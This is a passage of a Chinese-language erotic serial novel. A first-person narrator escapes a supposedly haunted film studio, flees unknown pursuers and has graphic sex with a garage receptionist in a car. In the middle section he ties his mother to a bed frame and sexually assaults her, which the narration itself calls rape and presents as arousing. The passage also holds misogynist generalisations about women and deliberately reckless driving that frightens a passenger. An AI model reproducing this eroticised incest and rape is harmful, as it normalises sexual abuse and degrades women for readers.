羞辱对她根本无效——她已经没有了羞耻。好言相劝更没用——她最反感说教。

我把我车钥匙交给老K,推门跨步要进Y9U3X工作室,小骚货赶紧拦住说:“别!正拍戏呢。■导今天气儿不顺。”

我问:“你的戏?”

她说:“嗯~有我,但现在不是我的。都拍了九条了,还没过。”(“过”

:通过或勉强通过,指达到了导演要求,可拍下面的戏。)

老K知道我想什么,对小骚骚儿说:“哥哥大老远来看你,你就让我们站外头?”

我说:“真是的,没礼貌,缺家教。”

说着不容置疑推开大铁门,走进厂房。小骚货跟进来。老K留守门外。

厂房里很冷!水泥地面上全是粗粗的黑色电线,黑蛇一样纠缠不清。一帮艺术青年在紧张忙活。

我先认出土匪。丫好认,矮胖子,吃嘛嘛香内种,剧胖,脖子都没了。不过丫今天在这里黯然失色,灰溜溜坐在角落,看着中心场景。

中心场景,白白的灯光下,女演员可怜巴巴站着,光着上身,下身围着一条淡蓝色半透明纱巾。

背景是一大块幕布,上面是丙烯画,画的骷髅、小鬼什么的,一个个面目狰狞、血光淋淋。

这场景我好像见过!跟哪儿见的?想不起来了。许是跟一梦里见的吧~旁边戳着今天这儿的腕儿,是一高个,挺壮的,穿牛仔裤,光头锃光瓦亮,不是刮的,而是没有毛囊内种。

下巴上这部美髯!浓黑浓密,感觉所有本来该长他头顶的毛发全长下巴上了。

我问小骚货:“内就傻屄导?”

她点头,噤若寒蝉。她也有这时候!

只见内傻屄导叉着腰、皱着眉、对副摄影大声叫骂:“好不容易眼泪出来了,你丫焦距怎么对的?!杂东肏的废物点心!”

三角架和摄像机冷冷的。副摄影蔫头耷拉脑。一个长头发野人赶紧走过去跟内傻屄导低声说软话。

正在这时,一个小子呼哧带喘跑过来,把一包香烟递给小骚货,同时在她耳边低声说着什么,耳语的同时,明亮的眼睛一直看着我。

小骚货听了之后有点儿吃惊,然后警惕地看着我。

叨唠什么呢?好话不背人,背人没好话。我警觉地扭头看四周。没看出任何可疑之处。

傻屄导还在气头上,连续粗口怒骂。

老K把铁门踹开,脸色紧张,左右手食指中指分开并垂直交叉搭成“井”字。

这手语是我和他之间多年来独有的默契,意思是赶紧扯乎。

我嗅到危险迫在眉睫,拔腿就往外走。小骚货拉住我的手,低声说:“你不是想看拍我的镜头么?”

我甩开她,噔噔噔快步疾走出了大铁门。车已启动,老K坐驾驶席,正紧张地观望后视镜。

我钻进副驾,按下电动车窗玻璃,恋恋不舍对小骚货说:“多长点儿心眼。

你这儿吃住怎么样?”

小骚货张开嘴,说着什么,但我没听清。我只听到风声!车拉着带冒着烟呼一下怪叫着窜出几百米。

灰暗的厂房在我眼前哗哗往后飞。车在狭窄的夹道上嚎叫着左突右撞,疯了似的。

我扭过头来问老K:“怎么了?”

他铁青着脸,瞪着眼睛专心驾车,不回答我。

我问:“嘛呢你?见鬼啦?”

他说:“对。”

车窜出艺术家村,上了高速。老K的喘息声却还没稳下来。

发动机引擎变本加厉怒吼着。车简直在飞。我深信四个车轮已经离地。看看中控盘,时速已二百公里。

我说:“嘿嘿嘿!瞅着点儿啊。头喽有探头。”

他跟没听见似的,继续猛踩油门儿,眼睛惊慌失措扫着后视镜。我回头往后看。后头没车啊!

老K怎么了?

我看看他,点根儿烟,放他双唇之间。他一边紧张驾驶一边饥渴地吸一口,看上去这是他这辈子最后一口烟。

这一大口!半根儿下去了。

再嘬一大口,就剩过滤嘴儿了。我降下玻璃,把他双唇之间的过滤嘴儿拿下来扔外头。风太大。赶紧升上玻璃。

我问:“看见什么了?怎么个情况?”

他脸上硬梆梆的,嗓音怪怪的说:“这地儿以后再不能来!”

我问:“到底怎么了?”

他死死盯着前面,说:“等会儿告诉你。”

我按下紧急双蹦灯,说:“现在给我靠边儿停车!”

他说:“现在不能停!”

他继续地板油。

我心疼我这车啊,他踩油门就跟踩我心头肉似的,可我不再说什么。他一定是看见了什么可怕的东西。

内种凉透后背的感觉我最近有过(比如遭遇“黑棉猴”),我想我能理解他。

终于到了我们熟悉的出口。

他掰出来。在辅路上,车子终于减速。滑行了一段,车子终于停下。我拧钥匙关了发动机,取下钥匙。

我扭过头看看他。

大冬天的,他满脸是冷汗,浑身虚脱,湿津津的,十足一刚打游泳池捞上来的溺水者,混浊的汗水顺着鼻尖往下滴答。

他的手不停地哆嗦着,脸色刷白。我解开他衬衫扣子。他衬衫已湿透!

我问:“咱去医院?”

他说:“不~~别去!别去!”

我问:“回你那儿?”

他点头。

我费老劲把他挪副驾上,开车送他回家。

到了他的别墅区。搀他下车、进别墅。

丫内X窝到处都是DVD,有两万张。他瘫软在大沙发里,活脱一大乌贼被冲上岸,二郎神被抽了筋。

我拿出酒,给俩杯子都满上,给他一杯。他咕咚喝光,还要。我再给满上,他又喝光。

他说:“刚才在艺术家村,我跟一周易大师通电话,他让我跟他说那儿的方位,越详细越好。”

我问:“大师说的什么?”

他回答说:“他了以后说,快走!那儿不干净。我说您什么意思?他说,你周围一半是死去的人形!”

我后脊梁一麻,说:“啊?!真的?”

他说:“我赶紧看他们丫的。靠!全都有影子啊!”

老话儿说鬼没影子,不过现在也难说。技术日新月异。

那毛片里出现的,哪几个是鬼?鬼能显影了?世事难料啊。

此时我后槽牙到屁股沟麻嗖嗖的,后背沿脊椎那一趟全都冰冰凉。

我说:“明儿带我去,让大师给我瞧瞧。”

他说:“一般人他不瞧。他现在不瞧生人。”

我说:“没关系,你带我去。一回生二回熟。”

他说:“哎呀跟你说了他现在不瞧了!”

我问:“为什么?”

他说:“他就因为给瞧太多了,现在瞎了,还落一身怪病。”

我明白天机不可泄露,泄露必遭天谴。我再给满上,问他:“你说哈~”

他默契地递话儿:“哎?”

多少年来,始终如此,也没进步。

我说:“你说我内小骚货还活着么?”

老K自己咣当闷一大口酒,擦擦嘴,没搭理我。

我往下说:“如果她还没死,我得赶紧告诉她离开那儿啊。再者说了……”

他忍无可忍打断我,说:“听我的,别再惦记她了。内绝对是妖精、是祸害。

你躲她远点儿!”

我说:“你肯定?”

他抬起头,怪怪地看着我,抬起夹着烟卷的手指着我愤然说:“撒泡尿照照!

你都被丫弄成这肏性了还放不下她?!”

也是啊。我还没来得及跟他说我公司那摊子窝心事儿呢~我说:“OK我听你的还不行么?”

我俩一瓶接一瓶地喝,越喝话越多,越喝越觉得酒好喝。

他说:“女人不能给你带来金钱、不能给你带来社会地位。女人花你挣的钱、降低你在哥们儿眼里的形象。别把女的太当回事儿!”

我说:“可我不是gay,我就是喜欢女的啊。”

他说:“玩儿玩儿就得,但你得放得下。”

我说:“这我不同意。你对女人不上心、不当回事儿,你就永远得不到深层享受。”

他说:“要什么深层享受?内深层享受跟你的付出成正比么?!”

我说:“不成比例。所以说付出还不够。”

他说:“这人要犯起贱来是真挡不住!”

我说:“爸爸接送初中儿子上下学是犯贱。妈妈给上高中的女儿洗衣服是犯贱。遛狗是对狗犯贱。偷腥的对腥犯贱。码字儿的对读者犯贱。开车的对中石油中石化犯贱。跳舞的对练功大镜子犯贱。观众对演员犯贱。演员对导演犯贱。考古的对历史犯贱。恋足的对女王脚丫犯贱。怀孕对胎儿犯贱。大家其实都在犯贱。爱就是犯贱。“他说:“错!在正确的时间正确的地点对正确的对象犯贱那叫爱,在错误的时间错误的地点对错误的对象犯贱那叫变态。”

我闷头喝酒,不再跟他争。

其实他说的不对。世上只有一种犯贱。你犯了贱,就说明你爱上了。爱永远是犯贱。爱=变态!

一个人有野心但深藏不露是好事儿。

一个人有秘密追求但深埋在胸是甜蜜的。

他理解不了我的心。他理解不了我和我妈之间内种默契。他理解不了我对小骚货的怜爱。

谁也没法了解别人。从来如此。

醒来发现天光大亮,我躺在自己公寓的床上。立刻想起昨天的惊魂历险。

可昨夜喝完酒怎么开车从老K别墅回的公寓,走的哪条路,一点儿都想不起来。

起来先照镜子。我就靠!我的脸变得更邪乎了。眉毛鼻子眼睛嘴,全大变样了。

想起老仙人说的话,立刻警惕地扫视公寓里每一个角落。

脑子里想着小骚货。她现在挺着个大肚子,我把她扔一闹鬼破厂房。我缺德不缺德啊?可老K昨儿的话也有一定道理。

公司那边,税务的事儿还得铲啊。可现在这模样怎么去公司?

给一助打电话,得知昨天税务的人临走时放下话说随时会再来。

我给妈妈打了个电话,请了早安,得知一切都好,暂时放下心来。

我说:“我必须跟您谈点儿事儿。您给二拐双倍工钱,让他先躲一下。”

妈妈紧张起来,立刻意识到大事不好,追问我到底啥事儿。我没多说,就说中午之前让二拐走人。我下午去您那儿跟您说。

下午,我拿钥匙开门。二拐真的走了。

妈妈见到我的时候,惊呆了。惊恐如一道闪电劈中她、从她天灵盖贯穿了她的肉身。

妈妈目眦欲裂,眼白溜溜布满黑眼珠子四周。我从来没见过妈妈的眼睛睁这么大。

我简单说了老仙人说的要“收”我。

妈妈直接奔厨房,我拦住妈妈,说:“没用。真到内时候,什么家伙都不好使。”

妈妈问:“那怎办?”

我说:“趁他们来之前,咱再干一次!”

我把床垫子掀开,床架子上只剩铁弹簧。

我把赤身裸体的妈妈扔弹簧上,把她的长发绑在弹簧上。这样,她的脑袋被紧紧固定。我强暴她的屄屄。

妈妈亲我耳朵、亲我脸,呼着热气低声呻吟说:“肏我suī- suī~~肏它!肏它!”

我用手指蹂躏妈妈尿道口。

妈妈直着脖子呻吟:“嗯~~啊……对~~肏我suī- suī……唔!啊……”

我把三根手指头肏进妈妈尿道。

妈妈说:“里边老痒、钻心的痒。我这是怎么了?我好像觉得我以前那些年全都白活了。”

妈妈现在成了不知羞耻的热热的肉洞。

我舔湿右手中指,然后温柔地肏进妈妈尿道。

前文说过,妈妈的尿道比大多数女人的尿道松弛,逐渐形成第二软屄。

妈妈拱起腰身,绷紧的嘴唇间发出嘶嘶声:“嘶~~啊……对~~肏我尿哗哗的眼儿……把你鸡巴肏进来!肏妈妈!”

我挺身把大鸡巴插进妈妈的尿道。

妈妈的呻吟转为高音惨叫。高潮如电,闪过她饱受摧残的盆腔。

这样的景象让我感到兴奋,因为我看到一个循规蹈矩的家庭主妇在我胯下变成一个淫荡妓女。

我抱着妈妈疯狂肏着。俩人都跟没明天似的。

重力加速度,坠得越来越急。晕眩!飞机失事内种晕眩。汹涌澎湃。

我射了。

热热的精液狠狠射进妈妈的尿道。

我射完了精,好像听见黑衣人正在走近的脚步声。我仰头朝窗外绝望惨叫:“你妈屄!有种来呀!”

窗外没动静。

妈妈仰起脑瓜看看窗外,再看看我,像高中生一样调皮地说:“下回想找妈妈搞,不用编这种借口啊。”

我大智若愚说:“哎。”

妈妈说:“怪吓人的。”

我说:“喔。”

干吗解释?

作女人(能在谎言里多泡一会儿)挺好。

射了之后的男人,心理状态很接近喝酒喝高了内种,特豪迈。我已经大无畏了。来来吧。

远处,也不谁家在放刘欢的《爱之无奈》。

爱,已经不再像在初恋的年代;爱,只在回忆里,默默地期待。

我的爱,不再有花开,不再有浪漫的诗句,和炽热的坦白。我的爱,被生活漂白,为忙碌掩埋,早已经变的很实在。

爱,已经记不起那心潮的澎湃;爱,只能在心底,平静地徘徊。

我的爱,不再有光彩,不再有甜蜜的私语,或妒忌和伤害。我的爱,被红尘覆盖,为时光剪裁,早已经变的很无奈~~歌声越来越远,越来越缥缈。

我抱着妈妈,母子共床,酣然睡去。

一夜无话。第二天一早起,我开车直奔艺术家村。

我很记路的。按照记忆,到了那里,下了车,点根儿烟,呆呆嘬着,表情呆傻,像妈妈怀里的婴儿已经吃饱了却还叼着奶头。

哪有什么废弃厂房,放眼望去,能看到的只有一个大大的坑,占地大概二十万平米。

一掘地机吭吃吭吃在坑底挖掘。大铲子挠过之处,赫然森森白骨。

这摆明是一乱葬岗子。


06-01
24:满园妖精关不住

哪有什么废弃厂房,放眼望去,能看到的只有一个大大的坑,占地大概二十万平米。

一掘地机吭吃吭吃在坑底挖掘。大铲子挠过之处,赫然森森白骨。

这摆明是一乱葬岗子。

我记得我对小骚货说的最后一句话是:“多长点儿心眼。你这儿吃住怎么样?”

小骚货当时张开嘴,说着什么,可惜我没听清。我只听到风声。老K当时魂儿都没了只顾脚踩地板油轮胎挠着地车往前蹿。

耳边又响起昨夜老K的话:“……听我的,别再惦记她了。内绝对是妖精、是祸害。你躲她远点儿!你都被丫弄这肏性了还放不下她?!”

阴风怒号。我打了个哆嗦,扔了烟屁,钻车里,车钥匙插眼儿里顺时针一拧。

拜托拜托!可别再不着车!

还好。引擎着了。赶紧大脚轰油。

走你!车子离开内大坑。

七拐八拐,上了高速。高速上一辆车没有!靠!真邪屄!这是我生存的城市么?摆明是核爆之后一百年啊。

无意中瞥一眼后视镜,发现空阔的大道上,一黑色a8出现,跟着我。

一开始车距倒不算忒近,大概有二三十米,我没当回事儿,后来逐渐觉出丫没憋好屁。我跑左道他左道。我改中道他中道。我收油他收油。我多快他多快。

怎么也甩不掉。我特不舒服。

一边开车,一边拨电话给一助。电话通了,但被按了。

我跑最慢道,盯着后视镜。他也改最慢道。

一阵寒风打耳根台嗖嗖袭来,就跟车窗户没关似的。查了一遍,车窗户早都关严了。

我看后视镜。那a8开始逼近我。我细看,丫没车牌。

过了难熬的两分钟,电话打过来了,是一助。

我问:“那边儿怎么样了?”

一助把声音压得很低,跟机关枪似的喘着说:“a总我在洗手间、咱公司被

封了、资产冻结了、上边派的专案组入驻了、从坏账查起、风雨欲来、来头不善、

好汉不吃眼前亏、a总

您赶紧躲躲吧!“语序乱七八糟。我始终教导的“气定神闲”被扔到九霄云外。这是我精心培养出来的一助么?真的大难临头了?

我盯着后视镜。那a8跟我只剩十米。我问一助:“躲?你有啥建议?”

一助说:“您不如飞里约。我给您订票,最早航班起飞时间是……”

多年游走剃刀边缘,行事原则No.1:安全方面的事儿自己处理。需要保密的事儿,不跟第二个人说,不管私人关系多好。

再说了,天上出点儿事儿,我里外没跑儿啊。还是地面交通让我感觉踏实。

我说:“我自己料理。”

一助声调沉痛地说:“a总保重。”

我教他的“不多问”原则他倒没忘。

电话挂断,我还是没法专心开车。税务局我得罪了谁?上边到底谁跟我过不去?

我深知我的公司呆帐坏帐数不胜数、漏洞百出,(哪个公司不是?)所以我使了重子儿摆平税务局。

现在看来形势有变?我到底招惹了谁?我妨碍了谁的利益?挡了谁的道?我整个一丈二和尚。

是税务局前局长的对头?还是税务局新官儿上任三把火拿我的公司杀一儆百?

靠,点儿背不能怨叉叉。

我盯着后视镜。内a8还紧贴着我。我扫一眼路牌。前边是kz出口(名字隐去)。

我地板油,跑最快道,假装要直行。临到那出口、眼看就要错过出口的最后十分之一秒钟猛打轮儿把车掰出来。

我惊魂未定看后视镜。内a8拉着带冒着烟差点儿侧翻,愣跟出来了,继续死咬。

我毅然决然扎进rfy大街,紧接着一头钻进dhx胡同(名字隐去)。

我打左蹦往右拐、打右蹦往左拐,在人群中跟泥鳅似的钻来钻去,恢恢乎游刃有余。

看上去后头内孙子钻小胡同盯梢经验不足。很快丫就跟不上我了。

好不容易甩了内a8,我不敢有丝毫松懈,仍在胡同里疯狂乱扭。在胡同里反侦查,你必须始终保持情形头脑。

大方向只能左九十度、右九十度、左九十度、右九十度始终保持斜向前,用

图形表示就是:

└┐

在胡同里反侦查,想自寻死路就走

┌┐



(这是一般规律啊,阿呆碰上阿甘,会有例外)。

终于连续好几分钟都没看见内a8.我暗暗呼出一口胸腔浊气,但驾驶动作上丝毫不敢放松,继续玩儿命奔逃。

开出这片密如蛛网的胡同区、后视镜里一直看不到那辆可怕的黑a8,我这颗高悬着的心仍不敢放下。

我还不能肯定我已经彻底甩掉了跟踪者。多年实战经验(和教训)教会我:这种时候不能回家、不能找朋友。

不能回公司、不能回公寓、不能回妈妈那儿,也不能找老K.这游戏的幕后黑手是谁?会不会是老K?丫老阴阳怪气儿的,确实可疑,可做掉我对他有啥好处?不是我不明白,人心变化快。

在大雪覆盖的街区,我开着车在马路上苦苦徘徊。

换位思考:如果我得到上边死命令跟踪到底,我会怎办?换车继续跟?

我一边开一边通过后视镜紧张地盯着后边每一辆车,强记每一辆车的牌照、特征、强记每一辆车开始跟我的地界儿和时间。先怀疑每一辆车,再用排查法一一排除。

一个小时还没过去,我已被自己搞得筋疲力尽。

看看车内时钟:十一点半。瞅右边儿有一家大型国营汽修厂。我猛一把轮儿把车掰进去。

到业务室,交出车钥匙,我说我要做保养,换机油、十字对调轮胎。(又

是十字)

接待员是一妈妈桑,头发软软、目光温柔,一看就驯顺。我打心底里喜欢软屄,头发软软、目光温柔内种。兹一遇着,准有好感。

登记完了,我要求她给我一车我“先开着”。

她说:“对不起,我们这儿没你这种车。”

我说:“没关系。啥车都行。有2020么?”

她看着我,嘴角闪过一抹朴素的微笑,赶紧低下头接着忙各种手续。

女的甭管长多一般,只要对你会心一笑,总是养眼。喜欢驯顺型儿的,只要见到女人驯顺的微笑,都会心热。

我注意到,她敲击电脑键盘的手指上皱纹并不多,而且没带婚戒。

她一丝不苟给我办完所有手续,拿钥匙走在前头,我跟后头,公狗似的。她屁股真窄。怎么生的孩子啊?准是剖的~我俩边走边聊。

我说:“你的手指甲挺好看的。我弄美甲杂志的。内帮老嚷嚷找不着好模特。

我说你们都不用心找。美,其实就在身边,可要是没有艺术眼光去挖掘的话,女

人手指甲脚趾甲多美

都白搭。“她又笑了,这回甜甜的,说:“你说什么呢?嘴上抹蜜啦?我们家闺女都比我高了。”

说着,她情不自禁抬手看看自己的手指甲。

我发现只要你内心真正放松,你就特坦然,哪怕你是披着羊皮的狼。无为而治,无欲则刚。

我说:“女人四十一枝花,正是好年龄。你这套装挺合身的,有品位。哪儿买的?我给我们内位也买一身儿。”

听到已婚男人的恭维和严肃咨询,她放松下来,感觉自己成专家了,说:“牛屄王朝买的,四楼。”(地名虚构!傻屄都知道。)

我说:“喔。不知道那儿有没有大号儿的。我们内位比较内什么。”

她说:“哦,可能有吧~~你太太真运气。我这都自己去买的。”

我冷不丁问:“你身上怎这么味儿啊?”

我面无表情,语气平淡至极,好像在问:今儿这天儿怎么这么脏阿?

她扭头望着我,表情激烈对抗,有愤怒,有兴奋,有震惊,有羞涩;眼睛里三百多种声音互相撞击,火光四溅,像超新星爆发。

我看见她脸色迅速变红,嘴唇开开合合,口条磕磕绊绊,始终在斗争。

说实话,我对她兴趣并不大。可上可不上。

她要犯贱,我兴许就成全她,拿她这屄给我自己压压惊。她要气背过气去了,我也无所谓,一妈妈桑,背过气就背过气。

她犹豫半天,压低声音问我:“你都闻见了?”(重音在“你”)

其实我啥也没闻见,可我点头,顺口搭音儿:“嗯,闻见了。够蹿的。”

(“蹿”,特指气味浓烈。)

她低声说:“我身上来了。我自己都能闻见我下边儿的味儿,挺难闻的~”

我说:“不难闻。有的公狗就喜欢这种骚味儿,比如我吧。”

这时候,我俩已经无话不说了,跟多年老情人似的。

礼数是羊水,平时屄缩得紧紧的,衣冠禽兽,道貌岸然,一捅破,马上就稀了哗啦。平时绷得越紧,崩溃得越凶悍。

男人都是公狗,女的都是骚货。没有例外。据说基佬也分公狗、骚货。拉拉也一样。

她说:“瞎说。多难闻啊?”

我说:“我没瞎说。”

她说:“我还没碰上过喜欢这种味儿的呢。”

我说:“那只说明一个问题:你碰的人太少。”

她扭头扫我一眼,没说话。

我问:“你今儿是‘量多的第二天’?”

她说:“你怎么什么都知道啊?魔鬼。”

此时她已带我来到厂房外头的院子里,四下没人。

她走向一辆车,开锁、打开车门。这是一辆国产车,牌子我懒得说,东施效颦起的家,现在笑得还挺厉害。

我没说什么,接过钥匙上了车,看看车况,还成,油满箱。

她在车外弯腰嘱咐我说:“回来的时候,别忘把油加满。”

我说:“别走。我得试试你这有没有刹车。”

她指着厂内一块空场地,对我柔声说:“你可以到内边儿跑一圈儿。”

我说:“我得开出去使劲儿跑。你上来。”

她望着我,犹豫着,脑子里权衡者危险指数和幸运指数。冒险是人类一大本能,可惜被朝九晚五一夫一妻磨灭得差不多了。

她正赤足立在道德与激情的刀锋。外头风紧了。她开始打晃。

我坦然说:“我是坏人。”

她困惑地说:“嗯,可你对你太太那么好。”

我欲擒故纵:“得,你别上来了。万一没刹车呢?毁俩人。”

她拉开副驾车门,坐进来说:“别这么自信。”砰,关了车门。

我面无表情,脚底给油。车子欢快地跑出汽修厂大门。

刚出大门,跑了没多远,迎面看一黑a8开过来,寻常牌照。

换牌照谁都会。我朝内a8铆足了劲面对面顶上去。眼瞅车距越来越近、就要撞上了,我还在拼命给油。身边的女人双手捂脸,尖叫。

我知道,如果内a8是“干净的”,他肯定慌,他绝对会闪。如果他是针对我、如果他受过职业训练,我能看出来。

透过各自的风挡,我看到内司机一脸无辜。他已经慌了神儿了。我继续微笑着给油,直盯着内司机的脸狠狠兑过去。

在一片锐利的惊叫声中,对面a8猛往右打轮儿闪过去,车身如鱼,最近的瞬间,他跟我左边反光镜也就一厘米。

我继续给油跑直线停住,司机开门跳出来,冲我背影问候我母亲。

看来上午跟踪我的是别人。

妈妈桑坐在副驾,魂不守舍,一路高叫着:“停下!”

我高抬膝盖,夸张地做踩制动的样子,睁大眼睛惊恐地喊:“刹车没啦!”

她吱哇乱叫,顿足捶胸。

我拐了几个弯,从大路拐上小土路,再冲出土路,跌跌撞撞扎进树林。看后视镜,没有任何车跟上来。

在灌木丛后的草地上,我踏踏实实停了车。这里是一片荒郊野地,周围有土包和浓密的树木、灌木遮挡,谁也看不见我们。貌似安全。

我没熄火,解开安全带,说:“嘿嘿,刹车又有了。”

再看她,嘴唇都白了。

我严肃地辩解:“刚才真没了。”

她信以为真,说:“吓死我了!真吓死我了!”

她还沉浸在深深的惊恐当中。我咧嘴笑了。不忍心再折磨她。

她使劲捶我肩膀:“你坏死了你!你怎这样儿啊?”

我抓住她的拳头:“消消气儿消消气儿。我说了我是坏人,你非不信啊。”

激动过后,心跳恢复正常,身体放松下来,舒服,像上完体育课。

每个人的生活都够单调,每个人都需要额外刺激。所以惊悚片从来都卖座、围城向来锁不牢。

再观察观察周围。四周空无一人。

我问:“这车座椅都放平的话,能当床么?”

她说:“能啊。”

我问:“怎么弄?”

她说:“这么弄。我教你。”

她开始示范,严肃认真,以为我真不会,或许她心里比我还清楚即将发生什么。

座椅全部放平,俨然一双人床。我躺到上面,对她说:“过来。”

她爬上来,关好车门。她头发软软,目光柔顺,长得不能说有多好看,但是挺白的。一白遮百丑。

我说:“让我好好看看你手指甲。”

我仔细观察她的手。手形柔顺,胖瘦均匀,指甲清亮,手指骨节适中,皮肤还算细(我最烦大骨节女手,还有皮糙肉厚的)。

这双手多少次伸到她的软屄、揉搓她的豆豆?多少次陷进滚烫柔软的屄肉里湿淋淋闪动灵光?

她问:“真的好看?”

我说:“真挺好看的。”

她说:“什么呀?都人老珠黄了。”

我说:“不老。真的不老。你看我,毛儿都白了还耍流氓呢。”

她抿嘴微笑,问我:“你有小孩么?”

我顺嘴说:“有个儿子。他上学那些年,我天天当牛做马,看着他写作业,接送他上下学。现在出息了,我说东他偏西。我绝对上辈子欠他我告儿你说。”

她笑说:“可不,孩子都是来讨债的。”

我说:“没错没错。哎,如果刚才我真没刹车了,你最后悔什么?”

她慢悠悠说:“嗯,如果刚才真的咔喳了,我会后悔我没珍惜我前夫,我们俩从来没好好交流过。其实他人不坏。我后悔我对我女儿太严了,她上月有一回考试得了第二名,让我带她去麦当劳,我一直没带她去。我还后悔她小时候我太忙,没时间陪她,给她送的整托。每礼拜一送她去,她都在幼儿园门口拉着我哭,说能不能让我给

她买根儿冰棍她吃完再

进去,要不就让我给她买一果丹皮,反正她变着法地磨蹭、拖延时间。我那段儿正跟她爸闹离婚,就特烦,就不答应,还跟她发脾气……“说到这儿,她嘴唇剧烈抖动,说不下去了,眼睛里蓄起来的泪水厚厚的,晶莹剔透,像玻璃块儿,在她眼眶里装不下了,“啪哒”掉出来一块。

我摸着她好看的手指,说:“这么些年,就一直围着老人忙、围着女儿转。”

她想了想,说:“嗯,其实我最后悔的,是我亏待了我自己。我没活出自己。

我没工夫好好照顾我自己。要说起来,这挺遗憾的,真的。”

我说:“现在阎王瞅你不错、先不让你死,再给你一小时。你打算干什么?”

她说:“我还真没考虑过……”忽然,她抬起湿漉漉的眼皮,惊恐地问:“你、你是阎王?”

我说:“把袜子脱喽,让阎王看看你的脚。”

她犹豫一下,还是顺从了,脱了袜子。

我跟她头脚相对。我近距离观看她的脚丫,迎面一股微微酸臭。

我心里忽悠一晃荡,心底最细嫩的地方被摸了一把似的。

她的光脚比她的手更好看(不光因为我们看女人光脚的机会比看到女人光手

的机会少)。她的脚丫真的赏心悦目,长她腿上真有点儿糟蹋了。

皮肤白嫩,温凉半潮,脚趾细长,略丰腴,没脚气,线条圆润,脚趾甲也是健康清澈,水中嫩贝一样半透明,脚垫脚跟都没老茧,正是我喜欢的类型,比大多数脚模的脚都好看。

这么平凡的岗位、这么平凡的女人,居然长着这么漂亮的脚丫。正所谓脚丫不可貌相。

我摩挲着这对宝贝,这时觉她裤子碍事儿。

我扒她裤子说:“脱喽、脱喽。”

她说:“别……我冷……”

我打开车内暖风,把她裤子扒下来。她并没有实质性反抗,只时不时望望车窗外。

我说:“放心,这儿没人。”

她大腿和屁股even更白,像果冻,像豆腐,一推就晃。

她裤衩里垫着卫生巾,显得鼓鼓囊囊的。我三把两把扒下她裤衩。

卫生巾上果然量大,鲜红鲜红的,都快红遍了,沉甸甸的。她胯底下的腥骚气达到最浓。我贪婪地闻着。

她咕哝着说:“别……车座……一会儿弄脏了……”

我伸出舌头,动情地舔她血屄。

她紧张地低声叫出来。她一定没想到这个陌生男的居然这么变态。

她说:“脏……不吉利……”

我说:“阎王不怕。”

民间对女人经血很忌讳,可所有禁忌阎王一概不吝。(a8果然反骨)

阎王觉得女人来月经的内几天最有女人味儿。

再歇斯底里的女的,月经一下来,就驯顺多了。

我举起她大腿,把她像叠被子似的叠起来,从下往上舔她腥骚血屄,舔她血染的阴唇,连屁眼一起舔。

她乖乖被我舔弄,我舔哪儿她哪儿哆嗦,但安安静静,不发出任何声音,像被配种的发情母狗。

看她咬着嘴唇,我知道她在强忍着。她可能觉得轻易发出声音的女人是放荡女人,不检点。

我嘬住她豆豆,用舌头轻轻扫她小骚根儿,同时用手指抠挖她湿热骚眼儿和滑溜溜的屁眼儿。

她忍不住,发出极轻微的“啊~~”

那声音好听极了。

我从从容容,一点儿不急。就当是最后一回舔屄。精美菜肴当前,须啮咬细品,吃得汁液四溅,吃得吱咂山响。汤汤水水全舔净,不糟践。

她的呻吟声逐渐增高,直到按着我脑袋带着哭腔说:“哎呀阎王!哎呀我不行了~”

我不管她,继续我的节奏,刺激不间断。她一挺身子,俩脚放下、头和脚撑起身体、屁股狠狠抬高。

我跟着她的屁股抬高脑袋,继续舔嘬,中指用力勾她G点。

感觉她G点里面组织很有韧性,像鸡蛋那么大一块橡皮从她阴道前壁往外拱,性温热,表面有四十多颗细小颗粒。

我恶狠狠往死里顶她G点,说:“骚货,来吧!都放出来吧!所有的骚劲都来吧,让我编织你们!”(a8对王老致敬)

她喘息呻吟,像在重症监护室饱受病痛折磨的垂危患者,呻吟分贝在不断提高、提高,达到释放阀值之后哑然中断。

我感到她全身肌肉都剧烈抖动起来,抖动频率非常高,像被电流击中。

一些热热的水儿滋我嘴里,还溅我下巴上。

是尿?还是张竞生八十多年前提出的“第三种水”(femaleejac ulation)?

管它!反正我知道,她爽了。

趁她意识迷乱之际,我把舔湿的无名指顶进她收缩中的湿滑肛门。她肛门软软的,直肠滚烫滚烫!她的G点进一步膨大。

她“唉哟”着,叹息着,像惋惜,像看到了精彩焰火、意识到晚会就快要结束。

阎王不文不火,继续舔她高潮后的血屄。没有尽头。此舌绵绵无绝期。阎王在文火煲汤炖豆腐(血豆腐?)

把她舔到第二次高潮之后,我直起身,褪下裤子,拿出套子套鸡巴上,狠狠挺进去,肏进她血屄。

她的凹屄温热、肿胀、超湿滑,特好肏.肉贴肉,真爽。

大硬鸡巴出出进进她热热的血屄,呱叽呱叽的,轰轰烈烈,车直晃悠。

狠撞百十来下,让她知道了我的威力之后,我就减速。

我问她:“你管你阴道叫什么?”

她说:“嗯……没叫什么……”

我说:“告诉我。”

她说:“我不想说。”

我说:“我想听。”

她满脸通红,犹豫了半天,低声说:“嗯……叫‘臭臭儿’、叫‘骚肉’,还有……‘臭不要脸的’~~”

有点儿小创意。我问:“还有么?”

她急起来,说:“哎呀日我!快点儿!”

我不急不慌,问她:“日你哪儿?”

她说:“日我臭臭儿、日我骚肉!”

她光溜溜的肉腿盘绕到我后腰,为了让我更深地刺入,使劲儿夹着我、勾着我。(倩女幽魂续集:倩女勾魂)

我却故意拔出鸡巴,用手拨弄她内堆不堪入目的血淋淋的屄肉,说:“你这臭不要脸的在哪儿?我怎么找不着啊~~”

她急霍霍使劲扒开自己的屄,充分暴露出屄口,说:“这儿呢!快!日这臭不要脸的。日我这臭不要脸的。狠狠日。”

差不多就得。不能把女的真弄急了。

我逐渐加快撞钟节奏。她立刻扬着脑袋张着大嘴不知羞耻地狂野呻吟,十足一农妇,久旱逢暴雨。

我拿起手边她那块沉甸甸的血染的卫生巾,放在鼻子下边嗅着。卫生巾里吸纳的经血正在变凉。

新鲜经血的腥臭味更刺激了我下丘脑。我鸡巴更粗更硬了,恶狠狠暴奸她。

我气喘吁吁问她:“你上次哪天日的?”

她气喘吁吁唉哟唉哟:“唉哟~唉哟!上次?唉哟~唉哟~四年半了~唉哟……”

我一边日她一边大把抓她奶子,问:“那你平时想了怎办?”

她红着脸说:“自己解决。”

我问:“怎么自己解决?”

她红着脸说:“就自己弄呗。”

我问:“怎么自己弄?”

她把脸扭向右边。我粗暴地把她脸扭回来,盯着她,让她望着我。我说:“现在弄!”

她特不好意思,勉强把俩手都放到下边儿,就又不动了。

我把鸡巴撤出来,说:“弄!”

大鸡巴血淋淋,一跳一跳的,发亮,上面有大量黏液,和抢眼的经血。(被设了“高亮”?)

